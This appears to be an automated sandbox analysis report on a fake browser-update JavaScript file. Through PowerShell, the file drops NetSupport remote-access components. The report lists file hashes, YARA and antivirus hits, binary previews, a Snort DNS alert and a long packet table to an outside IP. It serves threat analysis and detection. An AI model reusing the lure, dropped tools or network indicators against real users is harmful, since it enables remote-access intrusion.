SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\user\AppData\Roaming\KYED2\nsm_vpro.ini

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\Users\user\AppData\Roaming\KYED2\pcicapi.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.7376663312239256
Encrypted:	false
SSDEEP:	768:JFvNhAyi5hHA448qZkSn+EgT8ToDXTVi0:JCyoHA448qSSzgIQb
MD5:	34DFB87E4200D852D1FB45DC48F93CFC
SHA1:	35B4E73FB7C8D4C3FEFB90B7E7DC19F3E653C641
SHA-256:	2D6C6200508C0797E6542B195C999F3485C4EF76551AA3C65016587788BA1703
SHA-512:	F5BB4E700322CBAA5069244812A9B6CE6899CE15B4FD6384A3E8BE421E409E4526B2F67FE210394CD47C4685861FAF760EFF9AF77209100B82B2E0655581C9B2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\KYED2\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\KYED2\remcmdstub.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	63864
Entropy (8bit):	6.446503462786185
Encrypted:	false
SSDEEP:	1536:Tf6fvDuNcAjJMBUHYBlXU1wT2JFqy9BQhiK:D6f7cjJ4U4I1jFqy92hiK
MD5:	6FCA49B85AA38EE016E39E14B9F9D6D9
SHA1:	B0D689C70E91D5600CCC2A4E533FF89BF4CA388B
SHA-256:	FEDD609A16C717DB9BEA3072BED41E79B564C4BC97F959208BFA52FB3C9FA814
SHA-512:	F9C90029FF3DEA84DF853DB63DACE97D1C835A8CF7B6A6227A5B6DB4ABE25E9912DFED6967A88A128D11AB584663E099BF80C50DD879242432312961C0CFE622
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$U..`4..`4..`4..{.D.q4..{.p.54..iLI.e4..`4..74..{.q.}4..{.@.a4..{.G.a4..Rich`4..................PE..L......U.....................J.......!............@.......................... .......o....@....................................<.......T...............x)..............................................@...............@............................text............................... ..`.rdata...%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\KYED2\tttt.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4173598
Entropy (8bit):	7.998262283176479
Encrypted:	true
SSDEEP:	98304:E1NFXa/hRFY89YYc9jh23redpmQRcQZrAiaOcQtmizhpXc:UNSxYoY59V0redpmQRcm3lhps
MD5:	9F901FE8F68110ADDE2DAA9B566215D1
SHA1:	2D59778638599AB290C23504A046544412F0C1A6
SHA-256:	8B940FF3B555FDC681D4D553DB91AD689CE9B53DCC8707D4517E9C53406ACD33
SHA-512:	15303B0B3EB8CDF5273F9BD8F90B42068F17F3E37F6DB7BE2BC910E99E4F666FDEB588F5C2E6C9BD6DC158F2E44963DF6E23AF5EA3B93AA744CC9D3FE68EBCE9
Malicious:	false
Preview:	PK.........DWW..%.&l..........client32.exe.\|.xT.....N..".R....A.W..@........Tj.$...Q.@... ...7!...@..iJ.......;3....R..~.....;g...3gfnx...T.@......b../....d.@...n{...ts....5d.....]%.i..v...:3lZ..i]G.9v.:...\__...F.).C....(..B..t..P.f....&..9..e.k9.:.K.X...8..`.@...Oph.@W...B.p....N.]A.....A^...!..Y..T...+..t........`..KUg.....`..]w..=k...g...7.......4<..=f..\|..8T.."...z..:..ae>s.L.(....f.U.%=.).Iq.....T..px-..8G.G...`8.>{#.=....&B..G..)t........uY:R0..C.....C.........G......1r.e..K5HMop..ZJ..6.&...fM.........m....G..W.I0....hb.."NDS5...>MTz-.".i.....v..[..JC.dC........^4....4.W.U.SZ.'..........O...C.O.+..X...Cs.)S.L`3'8t.....Y..Te....~aS.G...M......9..g......0}.\|-.;..N%....Hi......$.....kC..t..`..,..!&..X..$.6k..v....o_.I.......x......?_..'.A..../`S.b...u.].....t..9.6...g.l..\|.2...Nte.}.N....]........)d..Q{.>g.p?G.O...g.......S.Z*.-.....^.......[......V..i...V.oh.~l+......R9.}W.F..q....4...._`G.CK..u.@l.....7l.W/..b.&... H.1..I.........

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	4.62290371077103
TrID:	Java Script (8502/1) 68.00% Digital Micrograph Script (4001/1) 32.00%
File name:	Update 124.0.6367.158.js
File size:	13'584'280 bytes
MD5:	b8f64a0c209acd231c88e321bcc2bd58
SHA1:	34181e5f8b174f34c2354aa0718100a82cabe408
SHA256:	87d664ed8ddc4bc3f24a1c520443db4a9501c204032ebed655de34ad998f94f5
SHA512:	59a3af344cfbd48cf616e35933b1a75a56c853bf16864278b894b44bfc1718331474394b48c9f6bf2226f1bd24a56738f46337980a5215b71afee6bae201f5f3
SSDEEP:	49152:CalYOjByIHBJ8V6tlBDBFcLBLtmp3+T2vPHr+Z3jb4JsjcqTbsPF5xhyMA81qIdE:2
TLSH:	0AD6B40DAEE611929833737C8FAF940AF67580271606CA147D9DE2941FB542463FEFE8
File Content Preview:	/.. The licenses this file..* to you under the Apache License (the file..* "License"); you may not use this file except in compliance..* with the License. You may obtain a copy of the License at..../....(function (variableas, stringrefactor) {.. t

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/15/24-00:48:19.635784	UDP	2054434	ET CURRENT_EVENTS ZPHP Domain in DNS Lookup (luxurycaborental .com)	61644	53	192.168.2.5	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 15, 2024 00:48:20.565666914 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:20.570482969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:20.570599079 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:20.570775986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:20.575747013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.114470959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.114542961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.114579916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.114588976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.114614964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.114638090 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.114638090 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.114653111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.114669085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.114689112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.114697933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.114725113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.114732981 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.114759922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.114775896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.114794970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.114804983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.114833117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.114845037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.114878893 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.119601965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.119648933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.119674921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.119693041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.119762897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.119800091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.204971075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.205029964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.205040932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.205154896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.205171108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.205183029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.205184937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.205259085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.205449104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.205496073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.205548048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.205600977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.205627918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.205638885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.205667973 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.205744982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.205756903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.205791950 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.206401110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.206450939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.206466913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.206476927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.206511021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.206587076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.206599951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.206626892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.206656933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.207273006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.207319021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.207339048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.207350016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.207381964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.207400084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.207495928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.207509041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.207540989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.208179951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.208200932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.208224058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.208261013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.295783043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.295798063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.295888901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.295902967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.295907974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.295957088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.296025991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296039104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296051979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296065092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296072006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.296354055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296385050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.296401024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.296452045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296466112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296499968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.296801090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296813965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296819925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296830893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296884060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.296938896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296952009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296964884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.296984911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.297276020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.297302008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.297360897 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.297394991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.297408104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.297439098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.297461033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.297557116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.297569990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.297602892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.297626019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.297709942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.297730923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.297744989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.297753096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.297777891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.297796011 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.298361063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.298403978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.298418999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.298434973 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.298512936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.298538923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.298551083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.298562050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.298576117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.298582077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.298614025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.298835039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.298885107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.299472094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.299525976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.299560070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.299571991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.299602985 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.299621105 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.299783945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.299803019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.299815893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.299829960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.299830914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.299858093 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.299875021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.300143003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.300195932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.300746918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.300796032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.300808907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.300821066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.300848961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.300863981 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.300978899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.301035881 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.389008999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.389028072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.389065027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.389116049 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.389151096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.389168978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.389183044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.389214993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.389229059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.389367104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.389379978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.389391899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.389405966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.389415979 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.389426947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.389440060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.389457941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.389980078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390000105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390012980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390026093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390037060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390043974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.390049934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390063047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390070915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.390075922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390089035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390104055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.390121937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.390149117 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.390347958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390368938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390384912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390398979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390402079 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.390420914 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.390453100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390609980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.390629053 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.390853882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390866995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390877008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390888929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390899897 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.390901089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390913963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390924931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.390927076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390939951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390948057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.390954018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.390969038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.390983105 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.391011000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.391647100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.391659021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.391669989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.391683102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.391697884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.391699076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.391710043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.391721964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.391731977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.391735077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.391748905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.391755104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.391762018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.391762972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.391776085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.391796112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.391825914 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.392560005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.392571926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.392584085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.392596006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.392608881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.392610073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.392621040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.392632961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.392643929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.392652988 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.392656088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.392688036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.392702103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:21.393299103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.393310070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.393321991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:21.393332958 CEST	80	49704	38.180.60.246	192.168.2.5
